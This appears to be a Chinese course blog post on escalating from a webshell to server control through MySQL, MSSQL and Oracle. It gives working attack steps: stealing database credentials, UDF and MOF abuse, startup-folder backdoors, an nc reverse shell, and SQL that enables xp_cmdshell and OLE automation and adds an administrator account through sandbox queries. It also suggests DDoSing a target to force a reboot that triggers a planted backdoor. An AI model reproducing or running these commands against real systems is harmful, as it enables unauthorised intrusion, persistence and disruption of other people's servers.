当前位置: 首页 > news >正文

60 权限提升-MYMSORA等SQL数据库提权

目录

      • 数据库应用提权在权限提升中的意义
      • WEB或本地环境如何探针数据库应用
      • 数据库提权权限用户密码收集等方法
      • 目前数据库提权对应的技术及方法等
    • 演示案例
      • Mysql数据库提权演示-脚本&MSF
      • 1.UDF提权知识点: (基于MYSQL调用命令执行函数)
      • 读取数据库存储或备份文件 (了解其数据库存储格式及对应内容)
      • 利用脚本暴力猜解 (了解数据库是否支持外联及如何开启外联)
      • 利用自定义执行函数导出dll文件进行命令执行
      • 2.MOF知识点: (基于MYSQL特性的安全问题)
      • 3.启动项知识点: (基于配合操作系统自启动)
      • 4.反弹知识点: (基于利用反弹特性命令执行)
    • MSSQL数据库提权演示-MSSQL客户端
      • 案例: MSSQL数据库提权演示-MSSQL客户端
      • 2.使用sp_oacreate进行提权
      • 3.使用SQL Server 沙盒提权
      • Oracle数据库提权演示-自动化工具
    • 涉及资源:

在这里插入图片描述
数据库提权在web和本地环境都能提权,它的核心是得到数据库的账号密码,也就是说你在web环境和本地环境,都能得到账号密码,都是可以尝试进行数据库提权的,上篇文章写的是借助系统层面的漏洞提权,这次讲的是借助服务器上数据库的一些东西

今天讲的是提权方法里面的数据库提权,也会包括数据库权限的获取

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件: 服务器开启数据库服务及获取到最高权限用户密码。除Access数据库外,其他数据库基本都存在数据库提权的可能。

数据库应用提权在权限提升中的意义

数据库提权不是建立在漏洞层面的提权方式,它是在漏洞没有办法的前提下采取数据库,因为数据库在服务器上的搭建是很常见的,很多服务器都有安装相关的服务

WEB或本地环境如何探针数据库应用

数据库提权只要得到数据库的账号密码就可以提权,所以在本地或web权限下面,都是可以进行的
我们先要进行探针,判断它有数据库的相关服务,我们可以利用端口扫描,通过命令看一下有没有开启相关的命令服务,或者其它方式,通过浏览一些文件和文件夹来判定它是否有安装相关数据库,只要判定出有对应的数据库之后,就可以进行添加

数据库提权权限用户密码收集等方法

收集主要是针对数据库的权限密码,寻找方式通过配置文件来获取数据库的账号密码,通过数据库的储存文件,将数据库的储存文件进行下载,然后进行还原里面的账号密码,通过相关的爆破脚本和工具,来进行密码的猜解,第四步就是用其它方式,一般我们在提权里面用配置文件和存储文件两种,第一种是最常见的,也是使用最广泛的,直接从相关的配置文件里面去得到账号密码

目前数据库提权对应的技术及方法等

前两步做到之后,我们就要进行分类,我们要把每个数据库提权方法和相关攻击过程有个大概的了解和操作,比如Mysql、mssql和oracle三个数据库的提权方式

演示案例

Mysql数据库提权演示-脚本&MSF

php加mysql的搭建组合,我们讲的权限提升是你的权限已经得到了,就是个webshell权限,根据这个webshell权限提升到服务器权限,那么借助的就是数据库提权,我们先进入到后门里面去,然后后面我们就尝试用这个后门进行提权
在这里插入图片描述
在这里插入图片描述
我们进去之后第一步就是服务探针,看一下有没有相关的数据库,然后这里可以进行命令的执行,或者通过端口扫描,把一些常见的端口进行扫描,oracle1521,sqlserver 1433,mysql 3306,pointbase 9092,DB2 5000,mongodb 27017,redis 6379,memcacheed 11211,可以判定出数据库在上面是否安装
在这里插入图片描述
这里很显然就是mysql,mysql重点的提权方式是udf,后面三种都是在udf失效的情况下选中的一个方式

mysql数据库在安装之后,成功继承系统权限,那么你取得mysql最高权限,root账号密码,mysql最高权限账号用户名是root,密码是自己设定的,你通过得到账号密码之后,建立mysql最高权限,调用dll文件执行命令、函数来实现对系统命令的调用执行,就是借助数据库自身的应用来调用系统命令,从而实现提权

信息收集就是收集数据库当前的用户名和密码,因为Mysql最高权限用户名是root,所以密码需要我们自己去找

流程: 服务探针-信息收集-提权利用-获取权限

1.UDF提权知识点: (基于MYSQL调用命令执行函数)

读取网站数据库配置文件 (了解其命名规则及查找技巧)
sql data inc config conn database common include等
通过关键字判定,来确定存放账号密码配置信息的文件
在这里插入图片描述
在这里插入图片描述
这种方法是最常见的,最实用的,直接通过网站数据库的配置文件来获取的一种方式,主要是看网站源码的结果,通过命名的关键字,来判定是否是数据库的配置文件

如果在实战情况下面,我们会发现一个问题,你即使在数据库配置文件下面,打开之后,你会发现这个账号密码不是root,他这边可以把root进行修改,他可以用普通用户去修改这里,账号密码是普通用户,不是root,遇到这种情况可以选用下面的方法,就是我们要找到root账号密码才行,账号是root,密码任意
在这里插入图片描述

读取数据库存储或备份文件 (了解其数据库存储格式及对应内容)

@@basedir/data/数据库名/表名.myd
mysql数据库安装目录下面有个data,data目录下面有很多文件夹,然后每个文件夹下面有对应的三个文件,格式后缀跟它一样,每个文件夹对应的就是表,相当于你在数据库里面创建一个表,对应的就会产生一个表,并且数据和列名都会在这个文件里面,myd格式对应就会储存表里面的内容
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
myd文件就是用来储存数据的地方,文件夹的名字对应的就是数据库的名字
在这里插入图片描述
mysql数据库的密码是在mysql下的user,我们mysql下的root密码、数据库的管理员、数据库的用户密码,它是储存在mysql数据库下的user表,其中root就在这里,这个加密值可以直接放在网上进行一个破解的
在这里插入图片描述
在这里插入图片描述
对应的,我要找到数据,可以通过下载对应文件来获取myd里面的内容,来获取用户名账号密码,mysql文件夹,找对应的user.mvd

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
通过第二种方式直接找到数据库安装下面对应的user.mvd进行下载或者在线编辑进行查看,得到里面的账号密码,这是mysql的特性

利用脚本暴力猜解 (了解数据库是否支持外联及如何开启外联)

远程本地暴力猜解,服务器本地暴力猜解

暴力破解本身就是靠运气的东西,所以这个方式是以上两种方式不行的时候,选择的一种方式
一般mysql数据库里面root用户默认是不支持外联的,就是说你要采取root进行连接,他只支持本地连接,就是本机连接本机,不允许从外部进行连接这台数据库,指的就是root账户密码的连接方式,如果你要采取root连接的话,他默认是不支持外联的

如果我们要进行暴力破解,那么一般我们暴力破解需要用到脚本进行暴力破解,我们知道很多工具爆破,但是这些工具是放在自己的电脑上面,我是客户端,对方是服务器,你和他的连接属于外部连接,那么你要爆破他的账号密码,一般我们爆破的是root账号密码,由于root是不支持外联的,我们的爆破是没有意义的,因为这个root首先就不支持账号密码的外连,无论你怎么爆破都不成功,这个时候,我们就要用到脚本暴力破解,就是通过网站后门把爆破脚本上传上去
在这里插入图片描述
由于他网站是php的,所以我要选择php的爆破脚本,把别人写好的php爆破脚本写进去,把他放到对方服务器里面执行,就是说把脚本上传到网站页面上去,才能爆破脚本,由于脚本是建立在网站自身的服务器上面连接的,这种连接就属于本地连接,如果用工具,你是没有权限把工具放到服务器上面,你这个爆破如果他不支持外联是没有任何意义的
在这里插入图片描述
爆破工具很多,msf里面也有爆破工具,把爆破脚本上传到目标服务器上去,然后访问这个地址,把IP地址写上去,爆破成功
在这里插入图片描述
在这里插入图片描述
脚本爆破就是解决不外联的情况
使用msf爆破,寻找mysql,选择登录的payload
在这里插入图片描述
在这里插入图片描述
设置一下目标主机和密码,然后执行

在这里插入图片描述
在这里插入图片描述
这是它支持外联的情况,如果不支持外联,那肯定是不可以的

利用自定义执行函数导出dll文件进行命令执行

select version() select @@basedir
手工创建plugin目录或利用NTFS流创建
select ‘x’ into dumpfile ‘目录/lib/plugin::INDEX_ALLOCATION’
1.mysql<5.1 导出目录c:/windows或system32
2.mysql=>5.1 导出安装目录/lib/plugin/

得到密码之后,我们就要进行提权利用,我们优先选择udf提权,我们要重视两个问题,第一个先把mysql的版本搞清楚,小于5.1的话,将udf导出的时候,要导出到c:/windows或system32目录,如果是大于5.1的版本,导出数据库的安装目录/lib/plugin/,Mysql初次安装默认是没有/plugin目录的,需要你自己通过webshell去创建这个目录,这个导出目录是windows和linux通用的

执行sql语句就可以知道mysql的版本,点击后门里面的工具,执行sql功能,把账号密码写进去,点击显示版本,执行
在这里插入图片描述
查看数据库的安装目录
在这里插入图片描述
创建目录在这里插入图片描述
这个目录有了之后,就导出到这个目录

点击mysql提权,把目录记录下来并且复制上去,让他安装dll到上面去,你如果没有root账号,他是不能安装的,所以我们前提条件是要得到账号密码,没有这个账号密码,我们是没有权限导出dll文件的,点击安装

我们直接去webshell里面去浏览目录,看一下有没有dll文件,来判定他是否导出成功
在这里插入图片描述
在这里插入图片描述
导出成功之后,就可以通过调用执行相关的系统命令,比如添加用户账号密码,连接他的远程端口,来实现控制这台服务器,这个就是后续操作,就是创建个用户,然后添加为管理员者,连接3389远程端口,来控制这台windows远程服务器,如果是linux也差不多,连接他的ssh,所以这个就是udf提权

如果dll文件被调用成功之后,是不能删除的,如果能够删除,说明数据库上面有点问题,实战情况下面一般是导出就能用了

mysql数据库UDF提权,权限是administrator权限,不应该是system权限吗

这个是看mysql安装的时候,mysql如果是phpstudy软件安装的,不是我这个用户在网站下载的,所以它是administrator,它是phpstudy软件自带的mysql,提前已经打包好进去了,不是安装版本的

2.MOF知识点: (基于MYSQL特性的安全问题)

导出自定义mof文件到系统目录加载https://www.cnblogs.com/xishaonian/p/6384535.html

select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

mof提权是成功机率最低的一种,他有一些限制,不是很推荐大家的使用
在这里插入图片描述
失败的原因有很多种,关键目录写不到c:/windows/system32/下面,目录无法替换,第二种原因是各种各样的防护软件拦截,所以它的成功机率不是很高,而且他也是被动的提权,他需要等待时间,能不能成功说不准,这种提权是Mysql提权里面不推荐的一种

3.启动项知识点: (基于配合操作系统自启动)

导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!

服务器操作系统在重启之后,会加载一些文件,这个文件我们称之为自启动文件,比如电脑启动之后,我们可以通过配置让它自动启动QQ、微信,同样的道理,我们的电脑上面有很多自启动项目,他通过Mysql权限,导出自定义的可执行文件,到启动目录,来配合服务器的重启,然后重启之后,会加载可执行文件,从而这个可加载文件一旦被执行,可执行文件可能是后门、执行的相关cmd命令、系统命令

寻找服务器上的启动目录
在这里插入图片描述
他就会在这里将你的后门,写到这个启动项里面,你服务器重启之后,就会加载这个文件,exe文件就会被执行,这个exe可以为一个后门,我们常说的cs后门,或者远程控制后门,简简单单的执行命令,搞个bat文件,服务器在重启之后,就会调用bat里面的命令,实现我们的操作。这个启动项,可以利用sql命令,也可以利用到相关命令

我们使用msf进行提权操作,要确保他的外联是开启状态,因为msf去攻击这台Mysql主机,如果你的数据库外联是没有开启的话,默认它的root是关闭的,我们拿到它root的密码之后,通过sql命令把外联开启,然后再用mysql进行启动项的提权

点击开启外联,把密码改一下,这条命令的意思是给予所有权限,来自任意IP,对应root用户,密码是root的
开启外联之后,我们就可以远程连接到mysql数据库

利用msf进行Mysql提权的时候,外联是一定要开的,开不了,msf进行攻击的时候,连都连接不上去,根本就无法进行提权
在这里插入图片描述
在这里插入图片描述
这就是类似一个后门,服务器重启之后,就会加载这个后门
在这里插入图片描述
利用ddos把对方的流量打光,流量攻击一旦把流量打光,流量崩溃了,服务器就会自动重启,因为它重启之后,文件被正常执行,后门就会被触发,远控木马直接被执行,这时候CS就可以上线

4.反弹知识点: (基于利用反弹特性命令执行)

nc -l -p 5577

我监听我本地的5577端口,这个时候借助反弹提权
在这里插入图片描述
创建反弹函数,创建完之后,执行
在这里插入图片描述
可以看到这里直接收到会话,来自命令终端的
在这里插入图片描述
在这里插入图片描述
内网中最常见的方式就是建立隧道和反弹,如果你没有一台外网主机的话,很多操作是会受到很大限制的

MSSQL数据库提权演示-MSSQL客户端

sqlserver是微软官方自带的数据库,只能在windows上应用,linux是没有的,这和它处理方式有关,因为sqlserver是微软的,它是windows特有产品,所以linux上没有

现在主流的是sqlserver2008和2012,还有2016的

案例: MSSQL数据库提权演示-MSSQL客户端

流程: 服务探针-信息收集-提权利用-获取权限

1.使用xp_cmdshell进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用ep_configure重修开启它。

mysql最高权限是root,mssql最高权限是sa,sqlserver数据库和Mysql数据库有个最大的区别是mssql的sa密码一般是默认支持外联的,这个客户端你安装个mssql就有了,这是它官方的东西,你也可以用它网上连接的客户端也可以的,比如navicat,但是还是推荐大家用官方的会比较好一点
在这里插入图片描述
在这里插入图片描述
连接上去之后,我们首先看它有没有xp_cmdshell,点击系统数据库>master>可编程性>扩展存储过程>系统扩展存储过程
在这里插入图片描述
它其实就是借助sys.xp_cmdshell来执行命令的,但是有不代表它就能调用成功
在这里插入图片描述
点击新建查询
启用:

EXEC sp_configure 'show advanced options',1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

在这里插入图片描述

关闭:

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',0;
reconfigure;

执行:

EXEC master.dbo.xp_cmdshell '命令'

想执行什么命令就执行什么命令
在这里插入图片描述
在这里插入图片描述

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Programfiles\Microsoft SQL Server\MssqI\Binn\xplog70.dll'

我们就看xp_cmdshell有没有开,有没有关,它关了,你就把它开了,然后你再执行命令就可以了

2.使用sp_oacreate进行提权

主要是用来调用OLE对象,其实就是自身数据库的特性,利用OLE对象的run方法执行系统命令。
启用:

EXEC sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'ole Automation Procedures',1;
RECONFIGURE WITH OVERRIDE;

在这里插入图片描述

关闭:

EXEC sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'ole Automation Procedures',0;
RECONFIGURE WITH OVERRIDE;

执行:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output  exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

在这里插入图片描述
解决回显问题,因为执行之后,有些结果不给予回显,所以把结果写到服务器的那个盘符,然后你在通过webshell权限对这个结果进行返回读取,来看一下执行的结果
在这里插入图片描述

3.使用SQL Server 沙盒提权

前面两种是借助系统自身的组件,沙盒类似于虚拟机,模拟自身真实环境,我们在进行木马运行的时候,可以把它放到沙盒里面去运行

mssql自身有个沙盒,有个安全运行环境,我们可以借助任意环境来进行运行,在沙盒里面它是允许一些敏感的东西被运行,我们借助沙盒来执行一些敏感的东西,因为上述这些敏感的东西,都是可以调用命令执行的,所以它在高版本禁用它,就是为了安全性,但是又由于它自身又有沙盒,所以沙盒的存在意义,就是为一些高风险的操作,提供一个执行的环境,所以我们就可以利用沙盒来执行
参考资料: https://blog.51cto.com/11797152/2411770

exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行xp_regwrite会提示让我们开启

在这里插入图片描述

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

在这里插入图片描述

exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode'
--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add”)') 

在这里插入图片描述
在这里插入图片描述

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localqroup administratora margin /add")')

这些语句按照上面来就可以了,没必要懂这些原理,你知道怎么提权就可以
沙盒提权是建立在前面两种提权方式执行不了的情况下,进行的最终方案,沙盒提权能够解决sqlserver提权绝大部分的问题,一般前面两个操作不了的时候,在启用沙盒提权

沙盒模式SandBoxMode参数合义 (默认是2)
‘0’: 在任何所有者中禁止启用安全模式
‘1’: 为仅在允许范围内
‘2’: 必须在access模式下
‘3’: 完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
–恢复配置

--exec master..xp_regwrite
'HKEY_IOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','sandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',O;reconfigure;

Oracle数据库提权演示-自动化工具

普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。

DBA用户模式: (自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。

注入提升模式: (sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。

oracle搭建的组合一般是jsp和java开发环境,如果是jsp的网站有后门,不需要提权,自带system权限,网站权限就是系统权限,这个是jsp本身脚本的继承性
这套jsp程序存在注入点,我们对注入点进行注入的时候
在这里插入图片描述
我们用sqlmap跑一下,判断一下系统是不是dba权限
在这里插入图片描述
可以看到确实是dba权限
在这里插入图片描述
这个是oracle提权工具,非常简单,方便
在这里插入图片描述
我们刚才在注入点已经判定是dba了,也就是说当前这个东西是dba权限,对应写上去,点击连接
在这里插入图片描述
在这里插入图片描述
利用这个工具直接提权,没有什么东西可讲,具体原理,可以网上查资料,我们讲的是方法

jsp网站、oracle搭建组合的特性,继承有系统权限,所以它不需要提权,直接连上去操作就完事了

oracle工具不支持post注入,那个工具主要是用来提权,注入是可以用sqlmap来解决的

mysql,mssql、oracle是目前比较主流的,你说的redis、DB2的确现在也有,但是还是mysql、mssql、oracle居多,很多以前的老企业是用mssql,后面用oracle的也多,mysql也有点份额,redis和其它的就是特殊应用里面才会有,它虽然说比其它数据库比较先进,但它是有特殊的网站应用,可能会用到这些数据库

涉及资源:

http://www.zzvips.com/article/79791.html
https://www.cnblogs.com/xishaonian/p/6384535.html
https://blog.51cto.com/u_11797152/2411770

相关文章:

60 权限提升-MYMSORA等SQL数据库提权

目录 数据库应用提权在权限提升中的意义WEB或本地环境如何探针数据库应用数据库提权权限用户密码收集等方法目前数据库提权对应的技术及方法等 演示案例Mysql数据库提权演示-脚本&MSF1.UDF提权知识点: (基于MYSQL调用命令执行函数&#xff09;读取数据库存储或备份文件 (了…...

【C++上层应用】2. 预处理器

文章目录 【 1. #define 预处理 】【 2. #ifdef、#if 条件编译 】2.1 #ifdef2.2 #if2.3 实例 【 3. # 和 ## 预处理 】3.1 # 替换预处理3.2 ## 连接预处理 【 4. 预定义宏 】 预处理器是一些指令&#xff0c;指示编译器在实际编译之前所需完成的预处理。 所有的预处理器指令都是…...

ISP--Black Level Correction(黑电平矫正)

图像的每一个像素点都是由一个光电二极管控制的&#xff0c;由二极管将电信号&#xff0c;转换为数字信号。 那么&#xff0c;我们知道了&#xff0c;图像的像素值是与电信号强度相关的。但是&#xff0c;我们得知道&#xff0c;每一个光电二极管要想工作&#xff0c;都得有一定…...

python项目源码基于django的宿舍管理系统dormitory+mysql数据库文件

基于Django的宿舍管理系统 运行效果 个人亲自制作python项目源码基于django的宿舍管理系统dormitorymysql数据库文件 1. 介绍 宿舍管理系统是一个基于Django框架开发的项目&#xff0c;旨在简化和优化宿舍管理的流程。该系统包括学生和管理员两个角色&#xff0c;学生可以通过…...

Java和 JS 的10大不同之处,你清楚吗?

还记得刚开始学习编程时&#xff0c;我就在想&#xff1a;“Java和JavaScript是同一种语言吗&#xff1f;”。就是因为看到它们名称中都带“java”&#xff0c;所以才会误以为它们有关系。实际上&#xff0c;它们并没有太大的联系。 这两者的关系&#xff0c;就和英语与斯瓦希…...

vue动态配置路由

文章目录 前言定义项目页面格式一、vite 配置动态路由新建 /router/utils.ts引入 /router/utils.ts 二、webpack 配置动态路由总结如有启发&#xff0c;可点赞收藏哟~ 前言 项目中动态配置路由可以减少路由配置时间&#xff0c;并可减少配置路由出现的一些奇奇怪怪的问题 路由…...

科技云报道:全球勒索攻击创历史新高,如何建立网络安全的防线?

科技云报道原创。 最简单的方式&#xff0c;往往是最有效的&#xff0c;勒索软件攻击就属于这类。 近两年&#xff0c;随着人类社会加速向数字世界进化&#xff0c;勒索软件攻击成为网络安全最为严重的威胁之一。今年以来&#xff0c;勒索软件攻击在全球范围内呈现快速上升态…...

通过bat命令启动jar后缀软件

要通过bat命令启动一个带有.jar后缀的软件&#xff0c;可以使用以下的bat文件命令&#xff1a; echo off java -jar "路径\文件名.jar" pause请将路径\文件名.jar替换为实际的文件路径和文件名。例如&#xff0c;如果你的文件位于C:\Program Files\MyApp\app.jar&am…...

Python选择排序和冒泡排序算法

选择排序和冒泡排序都是常见的排序算法。以下是这两种算法的Python实现&#xff1a; 选择排序&#xff08;Selection Sort&#xff09; 选择排序的基本思想是在未排序的序列中找到最小&#xff08;或最大&#xff09;元素&#xff0c;存放到排序序列的起始位置&#xff0c;然…...

集合的自反关系和对称关系

集合的自反关系和对称关系 一&#xff1a;集合的自反关系1&#xff1a;原理&#xff1a;2&#xff1a;代码实现 二&#xff1a;对称关系1&#xff1a;原理&#xff1a;2&#xff1a;代码实现 三&#xff1a;总结 一&#xff1a;集合的自反关系 1&#xff1a;原理&#xff1a; …...

传递函数的推导和理解

传递函数的推导和理解 假设有一个线性系统&#xff0c;在一般情况下&#xff0c;它的激励 x ( t ) x(t) x(t)与响应 y ( t ) y(t) y(t)所满足的的关系&#xff0c;可用下列微分方程来表示&#xff1a; a n y ( n ) a n − 1 y ( n − 1 ) a n − 2 y ( n − 2 ) ⋯ a 1 y…...

STM32 SPI

SPI介绍 SPI是Serial Pepheral interface缩写&#xff0c;串行外围设备接口。 SPI接口是一种高速的全双工同步通信总线&#xff0c;已经广泛应用在众多MCU、存储芯片、AD转换器和LCD之间。大部分STM32有3个SPI接口&#xff0c;本实验使用的是SPI1。 SPI同一时刻既能发送数据&…...

Linux系统编程 day02 vim、gcc、库的制作与使用

Linux系统编程 day02 vim、gcc、库的制作与使用 01. vim0101. 命令模式下的操作0102. 切换到文本输入模式0103. 末行模式下的操作0104. vim的配置文件 02. gcc03. 库的制作与使用0301. 静态库的制作与使用0302. 动态库(共享库)的制作与使用 01. vim vim是一个编辑器&#xff0…...

Mistral 7B 比Llama 2更好的开源大模型 (四)

Mistral 7B在平衡高性能和保持大型语言模型高效的目标方面迈出了重要的一步。通过我们的工作,我们的目标是帮助社区创建更实惠、更高效、更高性能的语言模型,这些模型可以在广泛的现实世界应用程序中使用。 Mistral 7B在实践中,对于16K和W=4096的序列长度,对FlashAttentio…...

相似基因序列问题 ——查找

【题目背景】 生物的遗传物质存在个体间或种群水平的差异&#xff0c;这样的差异被称为遗传变异。突变及基因重组等因素都会导致遗传变异。尽管亲代在将其遗传信息传递给子代时会发生遗传变异&#xff0c;但是这些遗传变异仅占遗传物质的一小部分&#xff0c;通常亲代和子代之…...

【汇编】“转移”综述、操作符offset、jmp指令

文章目录 前言一、转移综述1.1 :背景&#xff1a;1.2 转移指令1.3 转移指令的分类按转移行为根据指令对IP修改的范围不同 二、操作符offset2.1 offset操作符是干什么的&#xff1f;标号是什么&#xff1f; 2.2 nop是什么&#xff1f; 三、jmp指令3.1 jmp指令的功能3.2 jmp指令&…...

Java格式化类Format

文章目录 Format介绍Format方法- format&#xff08;格式化&#xff09;- parseObject&#xff08;解析&#xff09; 格式化分类日期时间格式化1. DateFormat常用方法getInstancegetDateInstancegetTimeInstancegetDateTimeInstance 方法入参styleLocale 2. SimpleDateFormat常…...

力扣每日一题-美化数组的最少删除数-2023.11.21

力扣每日一题&#xff1a;美化数组的最少删除数 开篇 今天的力扣每日一题居然写出来了&#xff0c;好开心&#xff0c;迫不及待地把题目分享出来&#xff0c;希望你也能把它狠狠拿下。 题目链接: 2216.美化数组的最少删除数 题目描述 代码思路 创建一个list集合来保存数组&a…...

【练习】检测U盘并自动复制内容到电脑的软件

软件作用&#xff1a; 有U盘插在电脑上后&#xff0c;程序会检测到U盘的路径。 自己可以提前设置一个保存复制文件的路径或者使用为默认保存的复制路径&#xff08;默认为桌面&#xff0c;可自行修改&#xff09;。 检测到U盘后程序就会把U盘的文件复制到电脑对应的…...

【计算机毕业设计】Springboot高校论文管理系统 -96280,免费送源码,【开题选题+程序定制+论文书写+答辩ppt书写-原创定制程序】

SpringBoot论文管理系统 摘 要 随着科学技术的飞速发展&#xff0c;社会的方方面面、各行各业都在努力与现代的先进技术接轨&#xff0c;通过科技手段来提高自身的优势&#xff0c;高校当然也不例外。论文管理系统是以实际运用为开发背景&#xff0c;运用软件工程原理和开发方…...

nginx 代理接口报404 问题排查

今天遇到一个nginx代理后端接口请求报404的问题&#xff0c;问题是这样的&#xff0c;后端由于服务器没有环境&#xff0c;但是需要和前端联调&#xff0c;于是采用cpolar内网穿透的方式&#xff0c;穿出来了。但是前端请求跨域&#xff0c;于是前端用nginx代理了一下后端接口&…...

JVM 调优指南

文章目录 为什么要学 JVM一、JVM 整体布局二、Class 文件规范三、类加载模块四、执行引擎五、GC 垃圾回收1 、JVM内存布局2 、 JVM 有哪些主要的垃圾回收器&#xff1f;3 、分代垃圾回收工作机制 六、对 JVM 进行调优的基础思路七、 GC 情况分析实例 JVM调优指南 -- 楼兰 ​ JV…...

澳洲猫罐头如何?我亲自喂养过的优质猫罐头分享

猫罐头要符合三点&#xff1a;营养配方完整均衡、原料新鲜优质、生产工艺科学可靠。只有具备这些特点&#xff0c;才是品质上乘的猫罐头。 猫罐头的三个要素&#xff0c;一个都不能少。配方不均衡&#xff0c;营养就不足&#xff1b;原料不新鲜&#xff0c;生产出来的猫罐头就…...

CISP练习测试题

免责声明 文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!!! 某公司准备在业务环境中部署一种新的计算机产品,下列哪一项…...

2023下半年软件设计师考试知识点大全思维导图

软件设计师考试知识点大全思维导图 2023年下半年第一次机考 复习资料 以上是我在学习过程中根据自己的知识结构的特点及刷到的考题 做的导图&#xff0c;有需要的可以留言发原版的 mmap格式文件 方便自己拓展. 软考资料 这是网上找的资料 汇总免费放在这里 吧![ 链接&#x…...

[C++ 从入门到精通] 12.重载运算符、赋值运算符重载、析构函数

&#x1f4e2;博客主页&#xff1a;https://loewen.blog.csdn.net&#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01;&#x1f4e2;本文由 丶布布原创&#xff0c;首发于 CSDN&#xff0c;转载注明出处&#x1f649;&#x1f4e2;现…...

Android Binder 跨进程通信的优势是什么

Android Binder 跨进程通信的优势是什么 Android Binder 是 Android 系统中用于实现跨进程通信的底层机制&#xff0c;具有以下优势&#xff1a; 高效性&#xff1a;Android Binder 使用共享内存技术&#xff0c;在进程间传递数据时不需要进行数据拷贝&#xff0c;从而提高了传…...

HashMap的详细解读

HashMap是Java语言中的一个重要数据结构&#xff0c;它实现了Map接口&#xff0c;允许我们存储键值对&#xff0c;并且可以根据键直接访问对应的值。 特性 键值对存储&#xff1a;HashMap存储的是键值对数据&#xff0c;可以方便的通过键来获取值。无序&#xff1a;HashMap中…...

10个好用的Mac数据恢复软件推荐—恢复率高达99%

如果您正在寻找最好的 Mac 数据恢复软件来检索意外删除或丢失的文件&#xff0c;那么这里就是您的最佳选择。 我们理解&#xff0c;当您找不到 Mac 计算机或外部驱动器上保存的一些重要文件时&#xff0c;会感到多么沮丧和绝望。这些文件非常珍贵&#xff0c;无论出于何种原因…...

EtherCAT从站EEPROM分类附加信息详解:RXPDO(输入过程数据对象)

0 工具准备 1.EtherCAT从站EEPROM数据(本文使用DE3E-556步进电机驱动器)1 分类附加信息——RXPDO(输入过程数据对象) 1.1 分类附加信息规范 在EEPROM字64开始的区域存储的是分类附加信息,这里存储了包括设备信息、SM配置、FMMU配置在内的诸多信息。每个信息在一段连续的…...